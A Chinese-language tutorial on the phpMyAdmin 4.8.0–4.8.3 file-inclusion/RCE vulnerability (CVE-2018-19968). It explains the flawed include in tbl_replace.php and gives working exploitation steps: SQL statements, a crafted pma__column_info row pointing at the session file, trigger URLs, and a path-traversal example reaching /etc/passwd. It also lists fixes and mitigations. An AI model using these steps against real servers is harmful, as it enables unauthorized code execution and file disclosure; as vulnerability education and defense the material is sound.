phpMyAdmin 4.8.0~4.8.3 任意文件包含/远程代码执行漏洞 (CVE-2018-19968)
字数 1428 2025-08-29 08:31:35

phpMyAdmin 4.8.0~4.8.3 任意文件包含/远程代码执行漏洞 (CVE-2018-19968) 教学文档

漏洞概述

phpMyAdmin 4.8.0~4.8.3版本中存在一个由Transformation特性引起的本地文件读取漏洞,可能导致任意文件包含和远程代码执行。该漏洞CVE编号为CVE-2018-19968。

漏洞原理

Transformation功能简介

Transformation是phpMyAdmin中的一个高级功能,允许对每个字段的内容使用不同的转换规则。通过Transformation,可以将字段内容按照预定义规则转换显示形式,例如:

  • 将文件名字段转换为可点击的超链接
  • 对特定格式的数据进行特殊渲染

漏洞成因

tbl_replace.php文件中,存在以下关键代码:

$filename = 'libraries/classes/Plugins/Transformations/'. $mime_map[$column_name]['input_transformation'];
if (is_file($filename)) {
    include_once $filename;
    // ...
}

问题在于:

  1. $mime_map[$column_name]['input_transformation']来自数据库表pma__column_info中的input_transformation字段
  2. 用户可以控制数据库内容
  3. 没有对文件路径进行严格过滤

这导致攻击者可以通过构造恶意数据实现任意文件包含。

影响范围

  • phpMyAdmin 4.8.0
  • phpMyAdmin 4.8.1
  • phpMyAdmin 4.8.2
  • phpMyAdmin 4.8.3

漏洞利用步骤

环境准备

  1. 获取一个易受攻击的phpMyAdmin实例(4.8.0-4.8.3)
  2. 确保有创建数据库和表的权限

利用过程

  1. 创建测试数据库和表
CREATE DATABASE foo;
CREATE TABLE foo.bar ( baz VARCHAR(100) PRIMARY KEY );
INSERT INTO foo.bar SELECT '<?php phpinfo(); ?>';
  1. 生成phpMyAdmin配置表
    访问URL:
http://[target]/chk_rel.php?fixall_pmadb=1&db=foo

这将在foo数据库中创建phpMyAdmin的配置表。

  1. 插入恶意Transformation数据
INSERT INTO pma__column_info 
SELECT '1', 'foo', 'bar', 'baz', 'plop', 'plop', 'plop', 'plop', '.tmp/sess_[your_session_id]', 'plop';

注意:

  • [your_session_id]替换为你的会话ID(即cookie中phpMyAdmin的值)
  • 路径.tmp/sess_是phpMyAdmin存储会话文件的默认位置
  1. 触发漏洞
    访问URL:
http://[target]/tbl_replace.php?db=foo&table=bar&where_clause=1=1&fields_name[multi_edit][][]=baz&clause_is_unique=1

如果利用成功,服务器将包含你的会话文件并执行其中的PHP代码。

防御措施

  1. 升级phpMyAdmin

    • 升级到4.8.4或更高版本
  2. 临时缓解措施

    • 限制对phpMyAdmin的访问
    • 禁用非必要用户的数据库创建权限
    • 监控pma__column_info表的异常修改
  3. 服务器配置

    • 将会话文件存储在web目录之外
    • 设置open_basedir限制
    • 禁用危险的PHP函数

技术细节补充

  1. 会话文件利用

    • phpMyAdmin将会话数据存储在/tmp/sess_[session_id]文件中
    • 攻击者可以通过设置包含PHP代码的字段值,使其写入会话文件
    • 然后通过文件包含漏洞包含这个会话文件
  2. 其他可能的利用方式

    • 包含服务器上的其他已知路径文件
    • 通过路径遍历包含系统文件(如../../../../etc/passwd
  3. 漏洞链

    • 需要结合数据库写入权限和文件包含漏洞
    • 在默认配置下,普通用户通常有创建数据库的权限

参考链接

  • 官方安全公告:PMASA-2018-6
  • Transformation文档:https://docs.phpmyadmin.net/en/latest/transformations.html
  • 在线测试环境:https://www.vsplate.com/?github=vulnspy/phpmyadmin-4.8.1
phpMyAdmin 4.8.0~4.8.3 任意文件包含/远程代码执行漏洞 (CVE-2018-19968) 教学文档 漏洞概述 phpMyAdmin 4.8.0~4.8.3版本中存在一个由Transformation特性引起的本地文件读取漏洞,可能导致任意文件包含和远程代码执行。该漏洞CVE编号为CVE-2018-19968。 漏洞原理 Transformation功能简介 Transformation是phpMyAdmin中的一个高级功能,允许对每个字段的内容使用不同的转换规则。通过Transformation,可以将字段内容按照预定义规则转换显示形式,例如: 将文件名字段转换为可点击的超链接 对特定格式的数据进行特殊渲染 漏洞成因 在 tbl_replace.php 文件中,存在以下关键代码: 问题在于: $mime_map[$column_name]['input_transformation'] 来自数据库表 pma__column_info 中的 input_transformation 字段 用户可以控制数据库内容 没有对文件路径进行严格过滤 这导致攻击者可以通过构造恶意数据实现任意文件包含。 影响范围 phpMyAdmin 4.8.0 phpMyAdmin 4.8.1 phpMyAdmin 4.8.2 phpMyAdmin 4.8.3 漏洞利用步骤 环境准备 获取一个易受攻击的phpMyAdmin实例(4.8.0-4.8.3) 确保有创建数据库和表的权限 利用过程 创建测试数据库和表 : 生成phpMyAdmin配置表 : 访问URL: 这将在foo数据库中创建phpMyAdmin的配置表。 插入恶意Transformation数据 : 注意: 将 [your_session_id] 替换为你的会话ID(即cookie中phpMyAdmin的值) 路径 .tmp/sess_ 是phpMyAdmin存储会话文件的默认位置 触发漏洞 : 访问URL: 如果利用成功,服务器将包含你的会话文件并执行其中的PHP代码。 防御措施 升级phpMyAdmin : 升级到4.8.4或更高版本 临时缓解措施 : 限制对phpMyAdmin的访问 禁用非必要用户的数据库创建权限 监控 pma__column_info 表的异常修改 服务器配置 : 将会话文件存储在web目录之外 设置 open_basedir 限制 禁用危险的PHP函数 技术细节补充 会话文件利用 : phpMyAdmin将会话数据存储在 /tmp/sess_[session_id] 文件中 攻击者可以通过设置包含PHP代码的字段值,使其写入会话文件 然后通过文件包含漏洞包含这个会话文件 其他可能的利用方式 : 包含服务器上的其他已知路径文件 通过路径遍历包含系统文件(如 ../../../../etc/passwd ) 漏洞链 : 需要结合数据库写入权限和文件包含漏洞 在默认配置下,普通用户通常有创建数据库的权限 参考链接 官方安全公告:PMASA-2018-6 Transformation文档:https://docs.phpmyadmin.net/en/latest/transformations.html 在线测试环境:https://www.vsplate.com/?github=vulnspy/phpmyadmin-4.8.1